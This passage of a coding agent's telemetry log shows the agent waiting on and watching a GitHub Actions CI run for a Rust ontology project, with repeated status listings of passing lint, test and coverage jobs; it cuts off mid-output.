codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:37.817Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:37.819Z] [INFO] 2026-07-12T04:10:37.817282Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:37.817Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:37.819Z] [INFO] 2026-07-12T04:10:37.817297Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:10:37.819Z] [INFO] \n[2026-07-12T04:10:38.943Z] [INFO] 2026-07-12T04:10:38.942665Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a5313beed4c819195a0deedf90b02aa\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_lOk6AnhdmsqqvGmg2TBv6mtF\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:38.943Z] [INFO] \n[2026-07-12T04:10:39.649Z] [INFO] 2026-07-12T04:10:39.648782Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"27\",\"yield_time_ms\":30000,\"max_tokens\":8000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:10:39.649Z] [INFO] \n[2026-07-12T04:10:39.660Z] [INFO] 2026-07-12T04:10:39.659780Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313bde0088191917cac38ba8d0e9e\"\n[2026-07-12T04:10:39.660Z] [INFO] 2026-07-12T04:10:39.659833Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=92136 output_token_count=31 cached_token_count=91904 reasoning_token_count=0 tool_token_count=92167 ttft_ms=1125 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:39.659Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:39.660Z] [INFO] 2026-07-12T04:10:39.659853Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=92136 output_token_count=31 cached_token_count=91904 reasoning_token_count=0 tool_token_count=92167 ttft_ms=1125 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:39.659Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:39.660Z] [INFO] \n[2026-07-12T04:10:54.932Z] [INFO] 2026-07-12T04:10:54.923527Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-ae9be7c0-c554-4afe-b7d6-3b0faa2d57e8 arguments={\"session_id\":81385,\"chars\":\"\",\"yield_time_ms\":30000,\"max_output_tokens\":8000} duration_ms=27187 success=true output=Chunk ID: a8f032\n[2026-07-12T04:10:54.932Z] [INFO] Wall time: 27.1875 seconds\n[2026-07-12T04:10:54.932Z] [INFO] Process exited with code 0\n[2026-07-12T04:10:54.932Z] [INFO] Original token count: 4795\n[2026-07-12T04:10:54.932Z] [INFO] Output:\n[2026-07-12T04:10:54.932Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:10:54.932Z] [INFO] \n[2026-07-12T04:10:54.932Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:10:54.932Z] [INFO] Triggered via pull_request about 2 minutes ago\n[2026-07-12T04:10:54.932Z] [INFO] \n[2026-07-12T04:10:54.932Z] [INFO] JOBS\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Ontology Word Coverage in 28s (ID 86613944298)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Build CLI\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Check word coverage of README.md\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Lint and Format Check in 1m2s (ID 86613944301)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Check formatting\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run Clippy\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Check file size limit\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run tests\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run doc tests\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Test (windows-latest) in 49s (ID 86613944394)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:54.923Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:54.932Z] [INFO] 2026-07-12T04:10:54.923582Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-ae9be7c0-c554-4afe-b7d6-3b0faa2d57e8 duration_ms=27187 success=true arguments_length=78 output_length=1809 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:54.923Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:54.932Z] [INFO] \n[2026-07-12T04:10:54.973Z] [INFO] 2026-07-12T04:10:54.971458Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_lOk6AnhdmsqqvGmg2TBv6mtF arguments={\"cell_id\":\"27\",\"yield_time_ms\":30000,\"max_tokens\":8000} duration_ms=15319 success=true output=Script completed\n[2026-07-12T04:10:54.973Z] [INFO] Wall time 15.3 seconds\n[2026-07-12T04:10:54.973Z] [INFO] Output:\n[2026-07-12T04:10:54.973Z] [INFO] \n[2026-07-12T04:10:54.973Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:10:54.973Z] [INFO] \n[2026-07-12T04:10:54.973Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:10:54.973Z] [INFO] Triggered via pull_request about 2 minutes ago\n[2026-07-12T04:10:54.973Z] [INFO] \n[2026-07-12T04:10:54.973Z] [INFO] JOBS\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Ontology Word Coverage in 28s (ID 86613944298)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Build CLI\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Check word coverage of README.md\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Lint and Format Check in 1m2s (ID 86613944301)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Check formatting\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run Clippy\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Check file size limit\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run tests\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run doc tests\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Test (windows-latest) in 49s (ID 86613944394)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:54.971Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:54.973Z] [INFO] 2026-07-12T04:10:54.971510Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_lOk6AnhdmsqqvGmg2TBv6mtF duration_ms=15319 success=true arguments_length=56 output_length=1779 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:54.971Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:54.973Z] [INFO] 2026-07-12T04:10:54.971590Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_lOk6AnhdmsqqvGmg2TBv6mtF tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=15319 total_duration_ms=15319\n[2026-07-12T04:10:54.973Z] [INFO] \n[2026-07-12T04:10:55.019Z] [INFO] 2026-07-12T04:10:55.018544Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:10:55.019Z] [INFO] \n[2026-07-12T04:10:55.049Z] [INFO] 2026-07-12T04:10:55.047397Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:55.047Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:55.049Z] [INFO] 2026-07-12T04:10:55.049446Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:55.049Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:55.049Z] [INFO] \n[2026-07-12T04:10:55.056Z] [INFO] 2026-07-12T04:10:55.050214Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:10:55.056Z] [INFO] \n[2026-07-12T04:10:55.063Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_57\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status'\",\"aggregated_output\":\"Refreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request less than a minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n* Version Modification Check (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Check for manual version changes\\n  * Post Run actions/checkout@v6\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request less than a minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n* Version Modification Check (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Check for manual version changes\\n  * Post Run actions/checkout@v6\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request less than a minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n* Version Modification Check (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Check for manual version changes\\n  * Post Run actions/checkout@v6\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request less than a minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* 